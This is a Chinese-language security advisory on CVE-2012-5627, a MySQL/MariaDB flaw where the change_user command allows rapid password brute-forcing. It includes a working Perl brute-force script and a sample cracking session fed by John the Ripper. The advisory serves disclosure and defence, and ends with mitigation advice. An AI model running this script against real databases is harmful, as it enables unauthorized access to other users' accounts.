发布日期:2012-12-06
更新日期:2012-12-09
受影响系统:
Oracle MySQL
Oracle MariaDB
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 56837
CVE(CAN) ID: CVE-2012-5627
Oracle MySQL Server是一个小型关系型数据库管理系统。MariaDB 是一个采用Maria存储引擎的MySQL分支版本,是免费开源的数据库服务器。
MySQL/MariaDB在处理会话用户密码SALT值时存在安全漏洞。用户尝试登录MySQL时,会生成一个SALT值,此SALT值用于整个会话。发送密码时需用SALT值,密码不正确连接即会被断掉,若要尝试新的密码,须重新连接,SALT也会重新生成,此机制可有效阻缓暴力猜解速度。然而当攻击者用一个无特权账户登录服务器后,可使用MySQL "change_user"命令尝试切换其它的账户,在此过程中SALT值不需改变,连接也不会断开,这导致可以快速暴力破解密码,导致绕过安全限制。
<*来源:Kingcope (kingcope@gmx.net)
链接:
https://bugzilla.RedHat.com/show_bug.cgi?id=883719
https://mariadb.atlassian.net/browse/MDEV-3915
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
use Net::MySQL;
$|=1;
my $mysql = Net::MySQL->new(
hostname => '192.168.2.3',
database => 'test',
user => "user",
password => "secret",
debug => 0,
);
$crackuser = "crackme";
while(<stdin>) {
chomp;
$currentpass = $_;
$vv = join "\0",
$crackuser,
"\x14".
Net::MySQL::Password->scramble(
$currentpass, $mysql->{salt}, $mysql->{client_capabilities}
) . "\0";
if ($mysql->_execute_command("\x11", $vv) ne undef) {
print "[*] Cracked! --> $currentpass\n";
exit;
}
}
---
example session:
C:\Users\kingcope\Desktop>C:\Users\kingcope\Desktop\john179\run\jo
hn --incremental --stdout=5 | perl mysqlcrack.pl
Warning: MaxLen = 8 is too large for the current hash type, reduced to 5
words: 16382 time: 0:00:00:02 w/s: 6262 current: citcH
words: 24573 time: 0:00:00:04 w/s: 4916 current: rap
words: 40956 time: 0:00:00:07 w/s: 5498 current: matc3
words: 49147 time: 0:00:00:09 w/s: 5030 current: 4429
words: 65530 time: 0:00:00:12 w/s: 5354 current: ch141
words: 73721 time: 0:00:00:14 w/s: 5021 current: v3n
words: 90104 time: 0:00:00:17 w/s: 5277 current: pun2
[*] Cracked! --> pass
words: 98295 time: 0:00:00:18 w/s: 5434 current: 43gs
Session aborted
建议:
--------------------------------------------------------------------------------
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* 配置防火墙规则或ACL, 只允许信任用户访问MySQL/MariaDB
厂商补丁:
Oracle
------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载: